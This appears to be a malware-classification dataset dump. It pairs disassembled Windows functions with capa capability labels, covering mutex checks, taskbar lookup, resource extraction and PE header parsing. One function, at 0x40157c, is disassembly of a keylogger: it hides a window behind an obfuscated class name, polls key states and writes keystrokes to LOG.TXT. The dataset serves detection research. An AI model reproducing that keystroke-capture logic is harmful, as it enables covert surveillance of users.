joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407410
Capabilities:
Check mutex on windows
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53f42a
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x5a2048]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [0x5ac8f8], 3
lea eax, [ebp - 0x14]
push 1
push 0x5507c8
push eax
sete bl
call fcn.004076b0
add esp, 0xc
push dword [eax]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edx, dword [ebp - 0x14]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x407480
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0xb7
je 0x407496
call edi
cmp eax, 5
jne 0x407511
test bl, bl
jne 0x407511
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push 0x407a30
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40763b
push eax
call fcn.0040f402
push 0
mov esi, eax
push 0x10000000
push 0
mov ecx, esi
call fcn.00413b83
push 0x585
push 0
push 0
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_RedrawWindow]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_SetActiveWindow]
push eax
call fcn.0040f402
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00419087
test eax, eax
je 0x40763b
mov ecx, esi
call fcn.00417925
push str.nerds.de
mov ecx, esi
call fcn.00418700
push 0x7ac
call fcn.0040ac84
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x407559
push 0
mov ecx, eax
call fcn.00407a80
mov ecx, eax
jmp 0x40755b
xor ecx, ecx
mov dword [esi + 0xcc], ecx
mov eax, dword [ecx]
push 0
push 0x66
mov dword [ebp - 4], 0xffffffff
call dword [eax + 0x160]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x20], eax
mov ecx, dword [eax + 0x528]
test ecx, ecx
je 0x407624
add ecx, 8
call fcn.00402d70
test al, al
je 0x407624
test bl, bl
je 0x40760d
mov ecx, dword [esi + 0xcc]
push 1
call fcn.00413d48
mov eax, dword [0x5ac900]
push dword [eax + 4]
call fcn.00527f8f
mov ecx, dword [0x5ac900]
mov edi, eax
push dword [ecx + 8]
call fcn.00527f8f
add esp, 8
test edi, edi
je 0x4075ec
test eax, eax
je 0x4075ec
mov ecx, dword [esi + 0xcc]
push 1
push 0
push 0
push eax
push edi
push 0x5a8be0
call fcn.00413cc8
mov eax, dword [esi + 0xcc]
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [esi + 0x20]
push 0
push 0
push 0x18
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0xcc]
push 0x10
push 0x54fe2c
push str.LoopBeAudio_Device_not_installed
call fcn.0040fcf4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409fe0
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5a2048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
mov edi, eax
test edi, edi
je 0x40a02d
push esi
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
push esi
push 0x409cf0
push edi
call dword [sym.imp.USER32.dll_EnumChildWindows]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526509
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x24
push eax
push 5
call dword [sym.imp.SHELL32.dll_SHAppBarMessage]
test eax, eax
je 0x40a0a7
mov eax, dword [ebp - 0x1c]
cmp eax, 3
ja case.default.0x40a04c
jmp dword [eax*4 + 0x40a0d8]
mov ecx, dword [ebp - 0xc]
pop edi
lea eax, [ecx - 0x64]
mov dword [esi + 4], eax
lea eax, [ecx - 0x10]
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esi], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 8], eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526509
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov dword [esi + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esi + 0xc], eax
lea eax, [ecx - 0x64]
mov dword [esi], eax
lea eax, [ecx - 0x10]
pop edi
mov dword [esi + 8], eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526509
mov esp, ebp
pop ebp
ret
push 0
push esi
push 0
push 0x30
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov eax, dword [esi + 8]
sub eax, 0x96
mov dword [esi], eax
mov eax, dword [esi + 0xc]
sub eax, 0x1e
mov dword [esi + 4], eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00526509
mov esp, ebp
pop ebp
ret

Function at 0x40a0f0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x5a2048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push 0x3bc
push 0
lea eax, [esi + 0x74]
push eax
call fcn.00527ee0
push pe_nt_image_headers32
lea eax, [ebp - 0x114]
mov dword [esi + 0x430], 0
push 0
push eax
mov dword [esi + 0x434], 1
mov dword [esi + 0x438], 1
mov dword [esi + 0x478], 0
mov dword [esi + 0x47c], 1
mov dword [esi + 0x43c], 0
mov dword [esi + 0x45c], 0
mov dword [esi + 0x474], 0
mov dword [esi + 0x444], 0
mov dword [esi + 0x480], 0
mov dword [ebp - 0x118], 0x114
call fcn.00527ee0
add esp, 0x18
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x108], 2
jne 0x40a1d2
cmp dword [ebp - 0x114], 5
jb 0x40a1d2
mov dword [esi + 0x440], 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00526509
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov dword [esi + 0x440], 0
xor ecx, ebp
pop esi
call fcn.00526509
mov esp, ebp
pop ebp
ret
Function at 0x40cc1e
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.00413a42
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x40cc5a
call fcn.0040ce3d
mov dword [esi + 0xc], 1
jmp 0x40cc5f
call fcn.0040ce3d
cmp dword [esi], 0
je 0x40cca8
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x40cc82
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.0040c09f
jmp 0x40cc93
push 0xff
mov ecx, esi
call fcn.00401f50
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.004085f0
jmp 0x40cccc
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x40cccc
push dword [esi]
push dword [ebp - 4]
call fcn.0041c463
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40cd92
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.0040ce3d
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x40cdda
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040c09f
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.004085f0
jmp 0x40cde5
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041c463
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x40f398
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x40f3dd
call fcn.0041947c
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40f3dd
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x40f3f9
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00419f41
mov ebx, eax
test edi, edi
je 0x40f3f7
test esi, esi
je 0x40f3f7
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x413fb2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.0041947c
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x413fe9
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.0041400a
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4cb795
Capabilities:
Get file system object information

Disassembly:
push 0x4c8
mov eax, 0x549689
call fcn.00528c47
mov ebx, ecx
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.004028a0
pop ecx
lea esi, [eax + 0x10]
mov dword [ebp - 0x4d0], esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x4d0]
push 0
push 0x552bc8
call fcn.004029e0
cmp eax, 0xffffffff
jne 0x4cb849
push 0
push 0x55a858
lea ecx, [ebp - 0x4d0]
call fcn.004029e0
cmp eax, 0xffffffff
jne 0x4cb849
push 0
push 0x554a24
lea ecx, [ebp - 0x4d0]
call fcn.004029e0
cmp eax, 0xffffffff
jne 0x4cb849
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.004028a0
pop ecx
lea edi, [eax + 0x10]
mov dword [ebp - 0x4d4], edi
xor ecx, ecx
mov byte [ebp - 4], 1
push ecx
lea eax, [ebp - 0x218]
push eax
push 0x104
push ecx
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
jne 0x4cb825
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x14]
lea ecx, [edi - 0x10]
mov ebx, eax
call fcn.00401fd0
jmp 0x4cb878
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x4d0]
call fcn.00402050
lea ecx, [edi - 0x10]
mov byte [ebp - 4], 0
call fcn.00401fd0
mov esi, dword [ebp - 0x4d0]
push 0x105
push 0x2b4
lea eax, [ebp - 0x4cc]
push eax
push 0
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x4cb86f
mov ebx, dword [ebp - 0x4cc]
jmp 0x4cb878
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x14]
mov ebx, eax
lea ecx, [esi - 0x10]
call fcn.00401fd0
mov eax, ebx
call fcn.00528bf6
ret
Function at 0x5394c8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5a2048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0052e353
mov dword [ebp - 0x14], eax
cmp dword [0x5ad83c], esi
jne 0x5395bb
push 0x800
push esi
push 0x57ed80
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x539548
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x53969b
push esi
push esi
push 0x57ed80
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x53969b
push 0x57ed98
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x53969b
push eax
call ebx
push 0x57eda4
push edi
mov dword [0x5ad83c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x57edb4
push edi
mov dword [0x5ad840], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x57edc8
push edi
mov dword [0x5ad844], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5ad84c], eax
test eax, eax
je 0x5395b8
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5ad848], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x5395e0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x5395d3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x5395f5
push 4
pop eax
jmp 0x53969d
cmp dword [ebp - 0x14], esi
je 0x5395f5
push dword [0x5ad83c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x5395da
mov eax, dword [0x5ad848]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x539653
cmp dword [0x5ad84c], edi
je 0x539653
push eax
call ebx
push dword [0x5ad84c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x539653
test eax, eax
je 0x539653
call ecx
test eax, eax
je 0x539648
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x539648
test byte [ebp - 8], 1
jne 0x539653
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x539683
mov eax, dword [0x5ad840]
cmp eax, edi
je 0x539680
push eax
call ebx
test eax, eax
je 0x539680
call eax
mov esi, eax
test esi, esi
je 0x539680
mov eax, dword [0x5ad844]
cmp eax, edi
je 0x539680
push eax
call ebx
test eax, eax
je 0x539680
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x5ad83c]
call ebx
test eax, eax
je 0x53969b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x53969d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00526509
mov esp, ebp
pop ebp
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406054], 1
mov dword [0x406050], 1
mov dword [0x40604c], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406060]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40605c]
mov dword [eax], edx
call sym.__setargv
cmp dword [0x403018], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], sym.__matherr
call sym.___mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x40157c
Capabilities:
Contain obfuscated stackstrings
Hide graphical window
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0xa4
mov dword [ebp - 0x25], 0x69766e49
mov dword [ebp - 0x21], 0x6c626973
mov dword [ebp - 0x1d], 0x6e695765
mov dword [ebp - 0x19], 0x43776f64
mov dword [ebp - 0x15], 0x7373616c
mov byte [ebp - 0x11], 0
lea edx, [ebp - 0x50]
mov eax, 0
mov ecx, 0xa
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x4c], sym._WindowProc_16
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x25]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x50]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_RegisterClassA]
call eax
sub esp, 4
mov dword [esp + 0x2c], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0x80000000
mov dword [esp + 0x18], 0x80000000
mov dword [esp + 0x14], 0x80000000
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0x80000000
mov dword [esp + 8], str.Invisible_Window
lea eax, [ebp - 0x25]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_CreateWindowExA]
call eax
sub esp, 0x30
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401658
mov eax, 0
jmp 0x4016c2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0xc], 8
jmp 0x4016a6
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetAsyncKeyState]
call eax
sub esp, 4
cmp ax, 0x8001
jne 0x4016a2
mov dword [esp + 4], str.LOG.TXT
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Save
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xbe
jle 0x401679
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x401670
mov edi, dword [ebp - 4]
leave
ret 0x10
Function at 0x401bf0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call sym.___acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401c50
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406068]
test esi, esi
jle 0x401d70
mov eax, dword [0x40606c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401c84
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401d07
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401c70
mov dword [esp], ebx
call sym.___mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401d97
mov eax, dword [0x40606c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym.__GetPEImageBase
mov edx, dword [0x40606c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401d77
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401d00
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401d10
add dword [0x406068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40606c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401d00
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401c8e
mov eax, dword [0x40606c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
lea esi, [esi]
nop
Function at 0x4022b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40607c]
sub esp, 4
test ebx, ebx
je 0x402305
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4022fe
test esi, esi
je 0x4022fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4022e0
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4026b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4026d5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4026e0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4026d5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402728
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40271e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40272a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402710
xor eax, eax
pop ebx
pop esi
ret
Function at 0x411000
Capabilities:
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x40
lea eax, [esp + 0x44]
lea ecx, [esp]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
push esi
mov esi, dword [esp + 0x50]
push edi
push 0
push eax
push 0x40
push ecx
push esi
call ebx
test eax, eax
je 0x411175
cmp dword [esp + 0x54], 0x40
jne 0x411175
cmp word [esp + 0x10], 0x5a4d
jne 0x411175
mov edx, dword [esp + 0x4c]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push edx
push esi
call ebp
cmp eax, 0xffffffff
je 0x411175
lea eax, [esp + 0x54]
push 0
push eax
push 0xf8
push 0x417960
push esi
call ebx
test eax, eax
je 0x411175
cmp dword [esp + 0x54], 0xf8
jne 0x411175
cmp dword [0x417960], 0x4550
jne 0x411175
mov eax, dword [0x417976]
test ah, 0x20
jne 0x411175
mov edx, dword [0x417a80]
xor eax, eax
mov ax, word [0x417966]
add eax, edx
lea eax, [eax + eax*4]
shl eax, 3
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
mov dword [0x417a58], eax
je 0x411175
push 1
push 0
push 0
push esi
call ebp
mov dword [0x417a6c], eax
xor eax, eax
mov ax, word [0x417966]
mov edx, dword [0x417a58]
lea ecx, [esp + 0x54]
push 0
lea edi, [eax + eax*4]
push ecx
shl edi, 3
push edi
push edx
push esi
call ebx
test eax, eax
je 0x411175
cmp dword [esp + 0x54], edi
jne 0x411175
push 1
push 0
push 0
push esi
call ebp
mov ecx, dword [0x417a80]
lea ecx, [ecx + ecx*4]
lea edx, [eax + ecx*8]
mov eax, dword [0x4179b4]
cmp edx, eax
ja 0x411175
mov edi, dword [0x417a58]
mov ecx, dword [0x417988]
mov eax, dword [edi + 0x10]
mov edx, dword [edi + 0xc]
add eax, edx
cmp ecx, eax
jae 0x411175
xor eax, eax
push 2
mov ax, word [0x417966]
push 0
push 0
push esi
lea ecx, [eax + eax*4]
mov ebx, dword [edi + ecx*8 - 0x18]
lea edi, [edi + ecx*8]
call ebp
mov edx, dword [edi - 0x14]
add edx, ebx
cmp eax, edx
jne 0x411175
cmp dword [edi - 0x20], ebx
ja 0x411175
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x40
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x40
ret